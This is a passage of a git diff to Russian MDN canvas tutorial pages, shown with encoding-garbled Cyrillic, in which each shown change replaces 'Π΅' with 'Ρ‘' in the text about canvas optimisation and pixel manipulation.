-<h3 id="Π˜ΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠΉΡ‚Π΅_нСсколько_слоСв_canvas_для_слоТных_сцСн">Π˜ΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠΉΡ‚Π΅ нСсколько слоСв canvas для слоТных сцСн</h3>
+<h3 id="Π˜ΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠΉΡ‚Π΅_нСсколько_слоёв_canvas_для_слоТных_сцСн">Π˜ΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠΉΡ‚Π΅ нСсколько слоёв canvas для слоТных сцСн</h3>
<p>Π’Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΠΎΠ±Π½Π°Ρ€ΡƒΠΆΠΈΡ‚ΡŒ, Ρ‡Ρ‚ΠΎ Π½Π΅ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Ρ‹ Π² вашСм ΠΏΡ€ΠΈΠ»ΠΎΠΆΠ΅Π½ΠΈΠΈ Π½ΡƒΠΆΠ½ΠΎ часто ΠΏΠ΅Ρ€Π΅ΠΌΠ΅Ρ‰Π°Ρ‚ΡŒ ΠΈΠ»ΠΈ ΠΌΠ΅Π½ΡΡ‚ΡŒ, Π² Ρ‚ΠΎ врСмя ΠΊΠ°ΠΊ Π΄Ρ€ΡƒΠ³ΠΈΠ΅ ΠΎΡΡ‚Π°ΡŽΡ‚ΡΡ ΠΎΡ‚Π½ΠΎΡΠΈΡ‚Π΅Π»ΡŒΠ½ΠΎ статичными. Π’ΠΎΠ·ΠΌΠΎΠΆΠ½ΠΎΠΉ ΠΎΠΏΡ‚ΠΈΠΌΠΈΠ·Π°Ρ†ΠΈΠ΅ΠΉ Π² этой ситуации являСтся Π½Π°Π»ΠΎΠΆΠ΅Π½ΠΈΠ΅ Π²Π°ΡˆΠΈΡ… элСмСнтов с использованиСм Π½Π΅ΡΠΊΠΎΠ»ΡŒΠΊΠΈΡ… элСмСнтов <code>&lt;canvas&gt;</code>.</p>
@@ -75,7 +75,7 @@ myCanvas.getContext('2d').drawImage(myCanvas.offScreenCanvas, 0, 0);
<h3 id="Π˜ΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠΉΡ‚Π΅_простой_CSS_для_Π±ΠΎΠ»ΡŒΡˆΠΈΡ…_Ρ„ΠΎΠ½ΠΎΠ²Ρ‹Ρ…_ΠΈΠ·ΠΎΠ±Ρ€Π°ΠΆΠ΅Π½ΠΈΠΉ">Π˜ΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠΉΡ‚Π΅ простой CSS для Π±ΠΎΠ»ΡŒΡˆΠΈΡ… Ρ„ΠΎΠ½ΠΎΠ²Ρ‹Ρ… ΠΈΠ·ΠΎΠ±Ρ€Π°ΠΆΠ΅Π½ΠΈΠΉ</h3>
-<p>Если Ρƒ вас Π΅ΡΡ‚ΡŒ статичСскоС Ρ„ΠΎΠ½ΠΎΠ²ΠΎΠ΅ ΠΈΠ·ΠΎΠ±Ρ€Π°ΠΆΠ΅Π½ΠΈΠ΅, Π²Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ Π½Π°Ρ€ΠΈΡΠΎΠ²Π°Ρ‚ΡŒ Π΅Π³ΠΎ Π½Π° простом элСмСнтС {{HTMLElement("div")}}, ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡ свойство CSS {{cssxref("background")}}, ΠΈ Ρ€Π°ΡΠΏΠΎΠ»ΠΎΠΆΠΈΡ‚ΡŒ Π΅Π³ΠΎ ΠΏΠΎΠ΄ canvas. Π­Ρ‚ΠΎ свСдСт Π½Π° Π½Π΅Ρ‚ Π½Π΅ΠΎΠ±Ρ…ΠΎΠ΄ΠΈΠΌΠΎΡΡ‚ΡŒ Ρ€Π΅Π½Π΄Π΅Ρ€ΠΈΠ½Π³Π° Ρ„ΠΎΠ½Π° Π½Π° canvas Π½Π° ΠΊΠ°ΠΆΠ΄ΠΎΠΌ Ρ‚ΠΈΠΊΠ΅.</p>
+<p>Если Ρƒ вас Π΅ΡΡ‚ΡŒ статичСскоС Ρ„ΠΎΠ½ΠΎΠ²ΠΎΠ΅ ΠΈΠ·ΠΎΠ±Ρ€Π°ΠΆΠ΅Π½ΠΈΠ΅, Π²Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ Π½Π°Ρ€ΠΈΡΠΎΠ²Π°Ρ‚ΡŒ Π΅Π³ΠΎ Π½Π° простом элСмСнтС {{HTMLElement("div")}}, ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡ свойство CSS {{cssxref("background")}}, ΠΈ Ρ€Π°ΡΠΏΠΎΠ»ΠΎΠΆΠΈΡ‚ΡŒ Π΅Π³ΠΎ ΠΏΠΎΠ΄ canvas. Π­Ρ‚ΠΎ свСдёт Π½Π° Π½Π΅Ρ‚ Π½Π΅ΠΎΠ±Ρ…ΠΎΠ΄ΠΈΠΌΠΎΡΡ‚ΡŒ Ρ€Π΅Π½Π΄Π΅Ρ€ΠΈΠ½Π³Π° Ρ„ΠΎΠ½Π° Π½Π° canvas Π½Π° ΠΊΠ°ΠΆΠ΄ΠΎΠΌ Ρ‚ΠΈΠΊΠ΅.</p>
<h3 id="ΠœΠ°ΡΡˆΡ‚Π°Π±ΠΈΡ€ΠΎΠ²Π°Π½ΠΈΠ΅_холста_с_использованиСм_CSS-ΠΏΡ€Π΅ΠΎΠ±Ρ€Π°Π·ΠΎΠ²Π°Π½ΠΈΠΉ">ΠœΠ°ΡΡˆΡ‚Π°Π±ΠΈΡ€ΠΎΠ²Π°Π½ΠΈΠ΅ холста с использованиСм CSS-ΠΏΡ€Π΅ΠΎΠ±Ρ€Π°Π·ΠΎΠ²Π°Π½ΠΈΠΉ</h3>
@@ -107,7 +107,7 @@ stage.style.transform = 'scale(' + scaleToFit + ')';
<li>Π˜Π·Π±Π΅Π³Π°ΠΉΡ‚Π΅ <a href="/en-US/docs/Web/API/Canvas_API/Tutorial/Drawing_text">Ρ€Π΅Π½Π΄Π΅Ρ€ΠΈΠ½Π³Π° тСкста</a>, ΠΊΠΎΠ³Π΄Π° это Π²ΠΎΠ·ΠΌΠΎΠΆΠ½ΠΎ.</li>
<li>ΠŸΠΎΠΏΡ€ΠΎΠ±ΡƒΠΉΡ‚Π΅ Ρ€Π°Π·Π½Ρ‹Π΅ способы очистки canvas (({{domxref("CanvasRenderingContext2D.clearRect", "clearRect()")}}, ΠΈΠ»ΠΈ {{domxref("CanvasRenderingContext2D.fillRect", "fillRect()")}}, ΠΈΠ»ΠΈ ΠΈΠ·ΠΌΠ΅Π½Π΅Π½ΠΈΠ΅ Ρ€Π°Π·ΠΌΠ΅Ρ€Π° canvas).</li>
<li>Π‘ анимациями ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠΉΡ‚Π΅ {{domxref("window.requestAnimationFrame()")}} вмСсто {{domxref("window.setInterval()")}}.</li>
- <li>Π‘ΡƒΠ΄ΡŒΡ‚Π΅ остороТны с тяТСлыми физичСскими Π±ΠΈΠ±Π»ΠΈΠΎΡ‚Π΅ΠΊΠ°ΠΌΠΈ.</li>
+ <li>Π‘ΡƒΠ΄ΡŒΡ‚Π΅ остороТны с тяТёлыми физичСскими Π±ΠΈΠ±Π»ΠΈΠΎΡ‚Π΅ΠΊΠ°ΠΌΠΈ.</li>
</ul>
<h2 id="Π‘ΠΌΠΎΡ‚Ρ€ΠΈΡ‚Π΅_Ρ‚Π°ΠΊΠΆΠ΅">Π‘ΠΌΠΎΡ‚Ρ€ΠΈΡ‚Π΅ Ρ‚Π°ΠΊΠΆΠ΅</h2>
diff --git a/files/ru/web/api/canvas_api/tutorial/pixel_manipulation_with_canvas/index.html b/files/ru/web/api/canvas_api/tutorial/pixel_manipulation_with_canvas/index.html
index 8b8653a9b3..67b81c9b63 100644
--- a/files/ru/web/api/canvas_api/tutorial/pixel_manipulation_with_canvas/index.html
+++ b/files/ru/web/api/canvas_api/tutorial/pixel_manipulation_with_canvas/index.html
@@ -27,7 +27,7 @@ translation_of: Web/API/Canvas_API/Tutorial/Pixel_manipulation_with_canvas
<dd>A {{jsxref ("Uint8ClampedArray")}} прСдставляСт собой ΠΎΠ΄Π½ΠΎΠΌΠ΅Ρ€Π½Ρ‹ΠΉ массив, содСрТащий Π΄Π°Π½Π½Ρ‹Π΅ Π² порядкС RGBA, с Ρ†Π΅Π»Ρ‹ΠΌΠΈ значСниями ΠΎΡ‚ <code>0</code> Π΄ΠΎ <code>255</code> (Π² ΠΊΠΎΠΌΠΏΠ»Π΅ΠΊΡ‚Π΅).</dd>
</dl>
-<p>Бвойство <code>data</code> Π²ΠΎΠ·Π²Ρ€Π°Ρ‰Π°Π΅Ρ‚ {{jsxref ("Uint8ClampedArray")}}, ΠΊ ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠΌΡƒ ΠΌΠΎΠΆΠ½ΠΎ ΠΏΠΎΠ»ΡƒΡ‡ΠΈΡ‚ΡŒ доступ, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΏΠΎΡΠΌΠΎΡ‚Ρ€Π΅Ρ‚ΡŒ Π½Π° Π½Π΅ΠΎΠ±Ρ€Π°Π±ΠΎΡ‚Π°Π½Π½Ρ‹Π΅ ΠΏΠΈΠΊΡΠ΅Π»ΡŒΠ½Ρ‹Π΅ Π΄Π°Π½Π½Ρ‹Π΅; ΠΊΠ°ΠΆΠ΄Ρ‹ΠΉ пиксСль прСдставлСн Ρ‡Π΅Ρ‚Ρ‹Ρ€ΡŒΠΌΡ ΠΎΠ΄Π½ΠΎΠ±Π°ΠΉΡ‚ΠΎΠ²Ρ‹ΠΌΠΈ значСниями (красный, Π·Π΅Π»Π΅Π½Ρ‹ΠΉ, синий ΠΈ Π°Π»ΡŒΡ„Π° Π² этом порядкС, Ρ‚ΠΎ Π΅ΡΡ‚ΡŒ Ρ„ΠΎΡ€ΠΌΠ°Ρ‚ Β«RGBAΒ»). ΠšΠ°ΠΆΠ΄Ρ‹ΠΉ ΠΊΠΎΠΌΠΏΠΎΠ½Π΅Π½Ρ‚ Ρ†Π²Π΅Ρ‚Π° прСдставлСн Ρ†Π΅Π»Ρ‹ΠΌ числом ΠΎΡ‚ 0 Π΄ΠΎ 255. ΠšΠ°ΠΆΠ΄ΠΎΠΌΡƒ ΠΊΠΎΠΌΠΏΠΎΠ½Π΅Π½Ρ‚Ρƒ присваиваСтся ΠΏΠΎΡΠ»Π΅Π΄ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒΠ½Ρ‹ΠΉ индСкс Π²Π½ΡƒΡ‚Ρ€ΠΈ массива, ΠΏΡ€ΠΈΡ‡Π΅ΠΌ красный ΠΊΠΎΠΌΠΏΠΎΠ½Π΅Π½Ρ‚ Π²Π΅Ρ€Ρ…Π½Π΅Π³ΠΎ Π»Π΅Π²ΠΎΠ³ΠΎ пиксСля находится Π² индСксС 0 Π²Π½ΡƒΡ‚Ρ€ΠΈ массива. Π—Π°Ρ‚Π΅ΠΌ пиксСли ΠΈΠ΄ΡƒΡ‚ слСва Π½Π°ΠΏΡ€Π°Π²ΠΎ, Π·Π°Ρ‚Π΅ΠΌ Π²Π½ΠΈΠ·, ΠΏΠΎ всСму массиву.</p>
+<p>Бвойство <code>data</code> Π²ΠΎΠ·Π²Ρ€Π°Ρ‰Π°Π΅Ρ‚ {{jsxref ("Uint8ClampedArray")}}, ΠΊ ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠΌΡƒ ΠΌΠΎΠΆΠ½ΠΎ ΠΏΠΎΠ»ΡƒΡ‡ΠΈΡ‚ΡŒ доступ, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΏΠΎΡΠΌΠΎΡ‚Ρ€Π΅Ρ‚ΡŒ Π½Π° Π½Π΅ΠΎΠ±Ρ€Π°Π±ΠΎΡ‚Π°Π½Π½Ρ‹Π΅ ΠΏΠΈΠΊΡΠ΅Π»ΡŒΠ½Ρ‹Π΅ Π΄Π°Π½Π½Ρ‹Π΅; ΠΊΠ°ΠΆΠ΄Ρ‹ΠΉ пиксСль прСдставлСн Ρ‡Π΅Ρ‚Ρ‹Ρ€ΡŒΠΌΡ ΠΎΠ΄Π½ΠΎΠ±Π°ΠΉΡ‚ΠΎΠ²Ρ‹ΠΌΠΈ значСниями (красный, Π·Π΅Π»Ρ‘Π½Ρ‹ΠΉ, синий ΠΈ Π°Π»ΡŒΡ„Π° Π² этом порядкС, Ρ‚ΠΎ Π΅ΡΡ‚ΡŒ Ρ„ΠΎΡ€ΠΌΠ°Ρ‚ Β«RGBAΒ»). ΠšΠ°ΠΆΠ΄Ρ‹ΠΉ ΠΊΠΎΠΌΠΏΠΎΠ½Π΅Π½Ρ‚ Ρ†Π²Π΅Ρ‚Π° прСдставлСн Ρ†Π΅Π»Ρ‹ΠΌ числом ΠΎΡ‚ 0 Π΄ΠΎ 255. ΠšΠ°ΠΆΠ΄ΠΎΠΌΡƒ ΠΊΠΎΠΌΠΏΠΎΠ½Π΅Π½Ρ‚Ρƒ присваиваСтся ΠΏΠΎΡΠ»Π΅Π΄ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒΠ½Ρ‹ΠΉ индСкс Π²Π½ΡƒΡ‚Ρ€ΠΈ массива, ΠΏΡ€ΠΈΡ‡Ρ‘ΠΌ красный ΠΊΠΎΠΌΠΏΠΎΠ½Π΅Π½Ρ‚ Π²Π΅Ρ€Ρ…Π½Π΅Π³ΠΎ Π»Π΅Π²ΠΎΠ³ΠΎ пиксСля находится Π² индСксС 0 Π²Π½ΡƒΡ‚Ρ€ΠΈ массива. Π—Π°Ρ‚Π΅ΠΌ пиксСли ΠΈΠ΄ΡƒΡ‚ слСва Π½Π°ΠΏΡ€Π°Π²ΠΎ, Π·Π°Ρ‚Π΅ΠΌ Π²Π½ΠΈΠ·, ΠΏΠΎ всСму массиву.</p>
<p>{{Jsxref ("Uint8ClampedArray")}} содСрТит высоту Γ— ΡˆΠΈΡ€ΠΈΠ½Ρƒ Γ— 4 Π±Π°ΠΉΡ‚Π° Π΄Π°Π½Π½Ρ‹Ρ…, значСния индСкса Π²Π°Ρ€ΡŒΠΈΡ€ΡƒΡŽΡ‚ΡΡ ΠΎΡ‚ 0 Π΄ΠΎ (высота Γ— ΡˆΠΈΡ€ΠΈΠ½Π° Γ— 4) -1.</p>
@@ -46,7 +46,7 @@ translation_of: Web/API/Canvas_API/Tutorial/Pixel_manipulation_with_canvas
<pre class="brush: js">var myImageData = ctx.createImageData(width, height);</pre>
-<p>Π­Ρ‚ΠΎ создаСт Π½ΠΎΠ²Ρ‹ΠΉ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ <code>ImageData</code> с ΡƒΠΊΠ°Π·Π°Π½Π½Ρ‹ΠΌΠΈ ΠΏΠ°Ρ€Π°ΠΌΠ΅Ρ‚Ρ€Π°ΠΌΠΈ. ВсС пиксСли Π·Π°Π΄Π°Π½Ρ‹ ΠΏΡ€ΠΎΠ·Ρ€Π°Ρ‡Π½Ρ‹ΠΌ Ρ‡Π΅Ρ€Π½Ρ‹ΠΌ.</p>
+<p>Π­Ρ‚ΠΎ создаёт Π½ΠΎΠ²Ρ‹ΠΉ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ <code>ImageData</code> с ΡƒΠΊΠ°Π·Π°Π½Π½Ρ‹ΠΌΠΈ ΠΏΠ°Ρ€Π°ΠΌΠ΅Ρ‚Ρ€Π°ΠΌΠΈ. ВсС пиксСли Π·Π°Π΄Π°Π½Ρ‹ ΠΏΡ€ΠΎΠ·Ρ€Π°Ρ‡Π½Ρ‹ΠΌ Ρ‡Π΅Ρ€Π½Ρ‹ΠΌ.</p>
<p>Π’Ρ‹ Ρ‚Π°ΠΊΠΆΠ΅ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΡΠΎΠ·Π΄Π°Ρ‚ΡŒ Π½ΠΎΠ²Ρ‹ΠΉ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Β <code>ImageData</code> ImageData с Ρ‚Π΅ΠΌΠΈ ΠΆΠ΅ Ρ€Π°Π·ΠΌΠ΅Ρ€Π°ΠΌΠΈ, Ρ‡Ρ‚ΠΎ ΠΈ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚, Π·Π°Π΄Π°Π½Π½Ρ‹ΠΉ <code>anotherImageData</code> . ВсС пиксСли Π½ΠΎΠ²ΠΎΠ³ΠΎ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Π° установлСны Π½Π° ΠΏΡ€ΠΎΠ·Ρ€Π°Ρ‡Π½Ρ‹ΠΉ Ρ‡Π΅Ρ€Π½Ρ‹ΠΉ. <strong>Π­Ρ‚ΠΎ Π½Π΅ ΠΊΠΎΠΏΠΈΡ€ΡƒΠ΅Ρ‚ Π΄Π°Π½Π½Ρ‹Π΅ изобраТСния!</strong></p>
@@ -61,7 +61,7 @@ translation_of: Web/API/Canvas_API/Tutorial/Pixel_manipulation_with_canvas
<p>Π­Ρ‚ΠΎΡ‚ ΠΌΠ΅Ρ‚ΠΎΠ΄ Π²ΠΎΠ·Π²Ρ€Π°Ρ‰Π°Π΅Ρ‚ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ <code>ImageData</code> , ΠΏΡ€Π΅Π΄ΡΡ‚Π°Π²Π»ΡΡŽΡ‰ΠΈΠΉ ΠΏΠΈΠΊΡΠ΅Π»ΡŒΠ½Ρ‹Π΅Β Π΄Π°Π½Π½Ρ‹Π΅Β Π΄Π»Ρ области холста, ΡƒΠ³Π»Ρ‹ ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠ³ΠΎ прСдставлСны Ρ‚ΠΎΡ‡ΠΊΠ°ΠΌΠΈ (<code>left</code> , <code>top</code>), (<code>left+width</code> , <code>top</code>), (<code>left</code> , <code>top+height</code>) ΠΈ (<code>left+width</code> , <code>top+height</code>). ΠšΠΎΠΎΡ€Π΄ΠΈΠ½Π°Ρ‚Ρ‹ Π·Π°Π΄Π°ΡŽΡ‚ΡΡ Π² Π΅Π΄ΠΈΠ½ΠΈΡ†Π°Ρ… пространства ΠΊΠΎΠΎΡ€Π΄ΠΈΠ½Π°Ρ‚ холста.</p>
<div class="note">
-<p><strong>ΠŸΡ€ΠΈΠΌΠ΅Ρ‡Π°Π½ΠΈΠ΅:</strong> Π›ΡŽΠ±Ρ‹Π΅ пиксСли Π·Π° ΠΏΡ€Π΅Π΄Π΅Π»Π°ΠΌΠΈ холста Π²ΠΎΠ·Π²Ρ€Π°Ρ‰Π°ΡŽΡ‚ΡΡ ΠΊΠ°ΠΊ ΠΏΡ€ΠΎΠ·Ρ€Π°Ρ‡Π½Ρ‹ΠΉ Ρ‡Π΅Ρ€Π½Ρ‹ΠΉ Ρ†Π²Π΅Ρ‚ Π² Ρ€Π΅Π·ΡƒΠ»ΡŒΡ‚ΠΈΡ€ΡƒΡŽΡ‰ΠΈΠΉ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ <code>ImageData</code> .</p>
+<p><strong>ΠŸΡ€ΠΈΠΌΠ΅Ρ‡Π°Π½ΠΈΠ΅:</strong> Π›ΡŽΠ±Ρ‹Π΅ пиксСли Π·Π° ΠΏΡ€Π΅Π΄Π΅Π»Π°ΠΌΠΈ холста Π²ΠΎΠ·Π²Ρ€Π°Ρ‰Π°ΡŽΡ‚ΡΡ ΠΊΠ°ΠΊ ΠΏΡ€ΠΎΠ·Ρ€Π°Ρ‡Π½Ρ‹ΠΉ Ρ‡Ρ‘Ρ€Π½Ρ‹ΠΉ Ρ†Π²Π΅Ρ‚ Π² Ρ€Π΅Π·ΡƒΠ»ΡŒΡ‚ΠΈΡ€ΡƒΡŽΡ‰ΠΈΠΉ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ <code>ImageData</code> .</p>
</div>
<p>Π­Ρ‚ΠΎΡ‚ ΠΌΠ΅Ρ‚ΠΎΠ΄ Ρ‚Π°ΠΊΠΆΠ΅ ΠΏΠΎΠΊΠ°Π·Π°Π½ Π² ΡΡ‚Π°Ρ‚ΡŒΠ΅ <a href="https://developer.mozilla.org/en-US/docs/Web/API/Canvas_API/Manipulating_video_using_canvas">Manipulating video using canvas</a>.</p>
@@ -116,7 +116,7 @@ canvas.addEventListener('mousemove', pick);
<h3 id="ΠžΡ‚Ρ‚Π΅Π½ΠΊΠΈ_сСрого_Ρ†Π²Π΅Ρ‚Π°_ΠΈ_ΠΈΠ½Π²Π΅Ρ€Ρ‚ΠΈΡ€ΠΎΠ²Π°Π½ΠΈΠ΅_Ρ†Π²Π΅Ρ‚ΠΎΠ²">ΠžΡ‚Ρ‚Π΅Π½ΠΊΠΈ сСрого Ρ†Π²Π΅Ρ‚Π° ΠΈ ΠΈΠ½Π²Π΅Ρ€Ρ‚ΠΈΡ€ΠΎΠ²Π°Π½ΠΈΠ΅ Ρ†Π²Π΅Ρ‚ΠΎΠ²</h3>
-<p>Π’ этом ΠΏΡ€ΠΈΠΌΠ΅Ρ€Π΅ ΠΌΡ‹ ΠΏΠ΅Ρ€Π΅Π±ΠΈΡ€Π°Π΅ΠΌ всС пиксСли для измСнСния ΠΈΡ… Π·Π½Π°Ρ‡Π΅Π½ΠΈΠΉ, Π° Π·Π°Ρ‚Π΅ΠΌ ΠΏΠΎΠΌΠ΅Ρ‰Π°Π΅ΠΌ ΠΌΠΎΠ΄ΠΈΡ„ΠΈΡ†ΠΈΡ€ΠΎΠ²Π°Π½Π½Ρ‹ΠΉ массив пиксСлСй ΠΎΠ±Ρ€Π°Ρ‚Π½ΠΎ Π² canvas с ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽ <a href="https://developer.mozilla.org/en-US/docs/Web/API/CanvasRenderingContext2D/putImageData">putImageData()</a>. Ѐункция инвСртирования просто Π²Ρ‹Ρ‡ΠΈΡ‚Π°Π΅Ρ‚ ΠΊΠ°ΠΆΠ΄Ρ‹ΠΉ Ρ†Π²Π΅Ρ‚ из максимального значСния 255. Ѐункция ΠΎΡ‚Ρ‚Π΅Π½ΠΊΠΎΠ² сСрого просто ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅Ρ‚ срСднСС Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ красного, Π·Π΅Π»Π΅Π½ΠΎΠ³ΠΎ ΠΈ синСго. Π’Ρ‹ Ρ‚Π°ΠΊΠΆΠ΅ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ ΡΡ€Π΅Π΄Π½Π΅Π²Π·Π²Π΅ΡˆΠ΅Π½Π½ΠΎΠ΅ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅, Π·Π°Π΄Π°Π½Π½ΠΎΠ΅ Ρ„ΠΎΡ€ΠΌΡƒΠ»ΠΎΠΉ <code>x = 0.299r + 0.587g + 0.114b</code>, Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€. Для Π΄ΠΎΠΏΠΎΠ»Π½ΠΈΡ‚Π΅Π»ΡŒΠ½ΠΎΠΉΒ ΠΈΠ½Ρ„ΠΎΡ€ΠΌΠ°Ρ†ΠΈΠΈΒ ΡΠΌ. <a href="http://en.wikipedia.org/wiki/Grayscale">Grayscale</a>Β Π² Π’ΠΈΠΊΠΈΠΏΠ΅Π΄ΠΈΠΈ.</p>
+<p>Π’ этом ΠΏΡ€ΠΈΠΌΠ΅Ρ€Π΅ ΠΌΡ‹ ΠΏΠ΅Ρ€Π΅Π±ΠΈΡ€Π°Π΅ΠΌ всС пиксСли для измСнСния ΠΈΡ… Π·Π½Π°Ρ‡Π΅Π½ΠΈΠΉ, Π° Π·Π°Ρ‚Π΅ΠΌ ΠΏΠΎΠΌΠ΅Ρ‰Π°Π΅ΠΌ ΠΌΠΎΠ΄ΠΈΡ„ΠΈΡ†ΠΈΡ€ΠΎΠ²Π°Π½Π½Ρ‹ΠΉ массив пиксСлСй ΠΎΠ±Ρ€Π°Ρ‚Π½ΠΎ Π² canvas с ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽ <a href="https://developer.mozilla.org/en-US/docs/Web/API/CanvasRenderingContext2D/putImageData">putImageData()</a>. Ѐункция инвСртирования просто Π²Ρ‹Ρ‡ΠΈΡ‚Π°Π΅Ρ‚ ΠΊΠ°ΠΆΠ΄Ρ‹ΠΉ Ρ†Π²Π΅Ρ‚ из максимального значСния 255. Ѐункция ΠΎΡ‚Ρ‚Π΅Π½ΠΊΠΎΠ² сСрого просто ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅Ρ‚ срСднСС Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ красного, Π·Π΅Π»Ρ‘Π½ΠΎΠ³ΠΎ ΠΈ синСго. Π’Ρ‹ Ρ‚Π°ΠΊΠΆΠ΅ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ ΡΡ€Π΅Π΄Π½Π΅Π²Π·Π²Π΅ΡˆΠ΅Π½Π½ΠΎΠ΅ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅, Π·Π°Π΄Π°Π½Π½ΠΎΠ΅ Ρ„ΠΎΡ€ΠΌΡƒΠ»ΠΎΠΉ <code>x = 0.299r + 0.587g + 0.114b</code>, Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€. Для Π΄ΠΎΠΏΠΎΠ»Π½ΠΈΡ‚Π΅Π»ΡŒΠ½ΠΎΠΉΒ ΠΈΠ½Ρ„ΠΎΡ€ΠΌΠ°Ρ†ΠΈΠΈΒ ΡΠΌ. <a href="http://en.wikipedia.org/wiki/Grayscale">Grayscale</a>Β Π² Π’ΠΈΠΊΠΈΠΏΠ΅Π΄ΠΈΠΈ.</p>
<div class="hidden">
<pre class="brush: html;">&lt;canvas id="canvas" width="300" height="227"&gt;&lt;/canvas&gt;
@@ -179,7 +179,7 @@ function draw(img) {
Math.abs(x - 5), Math.abs(y - 5),
10, 10, 0, 0, 200, 200);</pre>
-<p>ΠŸΠΎΡΠΊΠΎΠ»ΡŒΠΊΡƒ ΠΏΠΎ ΡƒΠΌΠΎΠ»Ρ‡Π°Π½ΠΈΡŽ Π²ΠΊΠ»ΡŽΡ‡Π΅Π½ΠΎ сглаТиваниС, ΠΌΡ‹ ΠΌΠΎΠΆΠ΅ΠΌ Π·Π°Ρ…ΠΎΡ‚Π΅Ρ‚ΡŒ ΠΎΡ‚ΠΊΠ»ΡŽΡ‡ΠΈΡ‚ΡŒ сглаТиваниС, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΡƒΠ²ΠΈΠ΄Π΅Ρ‚ΡŒ Ρ‡Π΅Ρ‚ΠΊΠΈΠ΅ пиксСли. Π’Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΠΏΠ΅Ρ€Π΅ΠΊΠ»ΡŽΡ‡ΠΈΡ‚ΡŒ Ρ„Π»Π°ΠΆΠΎΠΊ, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΡƒΠ²ΠΈΠ΄Π΅Ρ‚ΡŒ эффСкт свойства <code>imageSmoothingEnabled</code> (ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠΌΡƒ Π½ΡƒΠΆΠ½Ρ‹ прСфиксы для Ρ€Π°Π·Π½Ρ‹Ρ… Π±Ρ€Π°ΡƒΠ·Π΅Ρ€ΠΎΠ²).</p>
+<p>ΠŸΠΎΡΠΊΠΎΠ»ΡŒΠΊΡƒ ΠΏΠΎ ΡƒΠΌΠΎΠ»Ρ‡Π°Π½ΠΈΡŽ Π²ΠΊΠ»ΡŽΡ‡Π΅Π½ΠΎ сглаТиваниС, ΠΌΡ‹ ΠΌΠΎΠΆΠ΅ΠΌ Π·Π°Ρ…ΠΎΡ‚Π΅Ρ‚ΡŒ ΠΎΡ‚ΠΊΠ»ΡŽΡ‡ΠΈΡ‚ΡŒ сглаТиваниС, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΡƒΠ²ΠΈΠ΄Π΅Ρ‚ΡŒ Ρ‡Ρ‘Ρ‚ΠΊΠΈΠ΅ пиксСли. Π’Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΠΏΠ΅Ρ€Π΅ΠΊΠ»ΡŽΡ‡ΠΈΡ‚ΡŒ Ρ„Π»Π°ΠΆΠΎΠΊ, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΡƒΠ²ΠΈΠ΄Π΅Ρ‚ΡŒ эффСкт свойства <code>imageSmoothingEnabled</code> (ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠΌΡƒ Π½ΡƒΠΆΠ½Ρ‹ прСфиксы для Ρ€Π°Π·Π½Ρ‹Ρ… Π±Ρ€Π°ΡƒΠ·Π΅Ρ€ΠΎΠ²).</p>
<h6 class="hidden" id="Zoom_example">Zoom example</h6>
@@ -242,9 +242,9 @@ function draw(img) {
